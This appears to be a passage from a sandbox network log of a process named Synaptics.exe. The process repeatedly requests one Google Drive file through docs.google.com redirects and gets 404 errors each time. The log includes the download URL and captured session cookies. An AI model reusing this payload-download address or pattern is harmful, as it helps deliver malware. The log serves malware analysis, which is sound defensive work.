Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49777	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:01 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:36:02 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:01 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-nxkiwjyQ2_xFOHgKjvPY3Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49778	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:01 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:02 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC69YjcDJuuU8XKAgOHzCeMMuLA1mPS4ll3Cwa_S-PSxqmPUL8gQEevowSyP5qbj3w_H Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:01 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-BY7XwNwPutxwVpZNLu7yQg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:02 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:02 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 44 34 7a 70 51 79 55 4d 73 6f 66 78 51 32 48 41 58 4e 6c 5f 62 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="D4zpQyUMsofxQ2HAXNl_bg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:02 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49779	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:01 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:02 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4SZkjsDejK4sGklkzysjFwPTw619WETp2riREnNCpzhuV6sGQ2pnoAEf48Ldojfk-oj_M534g Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:02 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-4WUBvEgZPEYkbPyfcWUU7g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:02 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 10:36:02 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4c 62 43 70 34 4d 44 75 4c 4a 4a 4c 7a 56 56 5f 57 77 42 46 64 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="LbCp4MDuLJJLzVV_WwBFdQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 10:36:02 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49781	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:02 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:36:03 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:02 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-34VZ4VTkHg0m3qB1bLAbmQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49782	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:02 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-30 10:36:03 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:02 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-5MNABdwD4CA-n8I5Tv8mmQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49783	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:02 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49784	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:02 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49788	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:03 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=RqDXBJunwwjj2_C9QPMQBvl40xPXXJ0y_fIC7Up7BSsJU4ulAIR3W4UGJa019yDdcw-wU2ZCjiWOf6Jj4qcrHWJB3js1k8IA-AFK1jiyJsHPeBg6Vie9fWRBqVpuNHeGBLEqQFDOfY3JM5cdCJbfnFxHup-jxh0_JlhrUKdSpndAWo109eAkm-E
2024-12-30 10:36:03 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:03 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-wAJebSsiLfhXNz8PXk0w7w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49789	142.250.186.142	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:03 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=RqDXBJunwwjj2_C9QPMQBvl40xPXXJ0y_fIC7Up7BSsJU4ulAIR3W4UGJa019yDdcw-wU2ZCjiWOf6Jj4qcrHWJB3js1k8IA-AFK1jiyJsHPeBg6Vie9fWRBqVpuNHeGBLEqQFDOfY3JM5cdCJbfnFxHup-jxh0_JlhrUKdSpndAWo109eAkm-E
2024-12-30 10:36:04 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:03 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-WFb90VQPXRpG7uthKEC0cw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49790	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:03 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:04 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4IOpqcoUwQYlR2jhkdNI5F_dXjfkV-KiFQmwfthSeR1SGdFk0kcgo6I8AG5IRcFXBb Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:03 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-lyRGvNgpAlMTWpIKsVRDqA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 10:36:04 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 10:36:04 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 78 30 73 70 34 38 6b 67 47 6c 50 64 65 41 6f 39 47 42 5f 57 2d 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="x0sp48kgGlPdeAo9GB_W-Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 10:36:04 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49791	142.250.186.97	443	6908	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 10:36:03 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
2024-12-30 10:36:04 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7ab4B4VViXexZXnNIsrUYjghqUgJysFZub8TKu0p9qi4tktUvGGypHgQu0w_TqLo5SAO61pHA Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 10:36:04 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-YS8uuDpt5RQfQi7mOTB4oA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, 